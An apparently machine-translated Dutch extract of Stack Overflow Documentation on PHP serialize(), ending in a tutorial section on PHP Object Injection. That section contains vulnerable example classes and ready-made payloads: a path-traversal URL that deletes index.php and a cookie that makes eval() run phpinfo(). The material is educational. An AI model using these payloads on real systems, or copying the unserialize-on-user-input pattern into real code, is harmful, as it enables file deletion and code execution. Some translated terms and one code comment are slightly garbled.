Zoeken…


Syntaxis

  • string serialize (gemengde $ waarde)

parameters

Parameter Details
waarde De waarde die moet worden geserialiseerd. serialize () verwerkt alle typen, behalve het resource -type. U kunt zelfs series () rangschikken die verwijzingen naar zichzelf bevatten. Circulaire verwijzingen in de array / het object dat u serialiseert, worden ook opgeslagen. Elke andere referentie zal verloren gaan. Bij het serialiseren van objecten zal PHP proberen de lidfunctie __sleep () aan te roepen voorafgaand aan serialisatie. Dit zorgt ervoor dat het object op het laatste moment kan worden opgeschoond, etc. voordat het wordt geserialiseerd. Als het object wordt hersteld met unserialize (), wordt de __wakeup () -lidfunctie ook aangeroepen. De privé-leden van Object hebben de klassennaam voor de naam van het lid; beschermde leden hebben een '*' voor de naam van het lid. Deze vooraf ingestelde waarden hebben nul bytes aan beide zijden.

Opmerkingen

Serialisatie gebruikt de volgende stringstructuren:

[..] zijn tijdelijke aanduidingen.

Type Structuur
Draad s:[size of string]:[value]
Geheel getal i:[value]
Dubbele d:[value]
Boolean b:[value (true = 1 and false = 0)]
Nul N
Voorwerp O:[object name size]:[object name]:[object size]:{[property name string definition]:[property value definition];(repeated for each property)}
reeks a:[size of array]:{[key definition];[value definition];(repeated for each key value pair)}

Serialisatie van verschillende types

Genereert een bewaarbare weergave van een waarde.

Dit is handig voor het opslaan of doorgeven van PHP-waarden zonder hun type en structuur te verliezen.

Gebruik unserialize () om van de geserialiseerde string opnieuw een PHP-waarde te maken.

Een string serialiseren

$string = "Hello world";    
echo serialize($string);

// Output: 
// s:11:"Hello world";

Serialiseren van een dubbel

$double = 1.5;    
echo serialize($double);

// Output: 
// d:1.5;

Serialiseren van een vlotter

Float wordt als dubbel geserialiseerd.

Een geheel getal serialiseren

$integer = 65;    
echo serialize($integer);

// Output: 
// i:65;

Een Boolean serialiseren

$boolean = true;    
echo serialize($boolean);

// Output: 
// b:1;

$boolean = false;    
echo serialize($boolean);

// Output: 
// b:0;

Serialiseren nul

$null = null;    
echo serialize($null);

// Output: 
// N;

Serialiseren van een array

$array = array(
    25,
    'String',
    'Array'=> ['Multi Dimension','Array'],
    'boolean'=> true,
    'Object'=>$obj, // $obj from above Example
    null,
    3.445
); 


// This will throw Fatal Error
// $array['function'] = function() { return "function"; };

echo serialize($array);

// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}

Een object serialiseren

U kunt objecten ook serialiseren.

Bij het serialiseren van objecten zal PHP proberen de lidfunctie __sleep () aan te roepen voorafgaand aan serialisatie. Dit zorgt ervoor dat het object op het laatste moment kan worden opgeschoond, etc. voordat het wordt geserialiseerd. Als het object wordt hersteld met unserialize (), wordt de __wakeup () -lidfunctie ook aangeroepen.

class abc {
    var $i = 1;
    function foo() {
        return 'hello world';
    }
}

$object = new abc(); 
echo serialize($object);

// Output:
// O:3:"abc":1:{s:1:"i";i:1;} 

Houd er rekening mee dat sluitingen niet kunnen worden geserialiseerd:

$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"

$serializedResult = serialize($function);  // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'

Beveiligingsproblemen met unserialize

Gebruik unserialize functie unserialize data van gebruikersinvoer kan gevaarlijk zijn.

Een waarschuwing van php.net

Waarschuwing Geef geen niet-vertrouwde gebruikersinvoer door om te unserialiseren (). Unserialisatie kan ertoe leiden dat code wordt geladen en uitgevoerd vanwege object-instantiatie en autoloading, en een kwaadwillende gebruiker kan hiervan misbruik maken. Gebruik een veilige, standaardindeling voor gegevensuitwisseling zoals JSON (via json_decode () en json_encode ()) als u geserialiseerde gegevens aan de gebruiker wilt doorgeven.

Mogelijke aanvallen

  • PHP Object Injection

PHP Object Injection

PHP Object Injection is een kwetsbaarheid op applicatieniveau waardoor een aanvaller verschillende soorten kwaadaardige aanvallen kan uitvoeren, zoals Code Injection, SQL Injection, Path Traversal en Application Denial of Service, afhankelijk van de context. Het beveiligingslek treedt op wanneer door de gebruiker geleverde invoer niet correct wordt opgeschoond voordat deze wordt doorgegeven aan de PHP-functie voor unserialize (). Omdat PHP objectserialisatie mogelijk maakt, kunnen aanvallers ad-hoc geserialiseerde tekenreeksen doorgeven aan een kwetsbare unserialize () -aanroep, wat resulteert in een willekeurige injectie van PHP-objecten in het toepassingsbereik.

Om een PHP Object Injection-kwetsbaarheid succesvol te kunnen exploiteren, moet aan twee voorwaarden worden voldaan:

  • De toepassing moet een klasse hebben die een PHP-magische methode (zoals __wakeup of __destruct ) __destruct die kan worden gebruikt om kwaadaardige aanvallen uit te voeren of om een "POP-keten" te starten.
  • Alle klassen die tijdens de aanval worden gebruikt, moeten worden gedeclareerd wanneer de kwetsbare unserialize() wordt aangeroepen, anders moet het automatisch laden van objecten voor dergelijke klassen worden ondersteund.

Voorbeeld 1 - Path Traversal Attack

Het onderstaande voorbeeld toont een PHP-klasse met een exploiteerbare __destruct methode:

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

In dit voorbeeld kan een aanvaller een willekeurig bestand verwijderen via een Path Traversal-aanval, bijvoorbeeld om de volgende URL aan te vragen:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Voorbeeld 2 - Code-injectie-aanval

Het onderstaande voorbeeld toont een PHP-klasse met een exploiteerbare __wakeup-methode:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

In dit voorbeeld kan een aanvaller een Code Injection-aanval uitvoeren door een HTTP-verzoek als volgt te verzenden:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

Waar de cookie-parameter 'data' is gegenereerd door het volgende script:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));


Modified text is an extract of the original Stack Overflow Documentation
Licentie onder CC BY-SA 3.0
Niet aangesloten bij Stack Overflow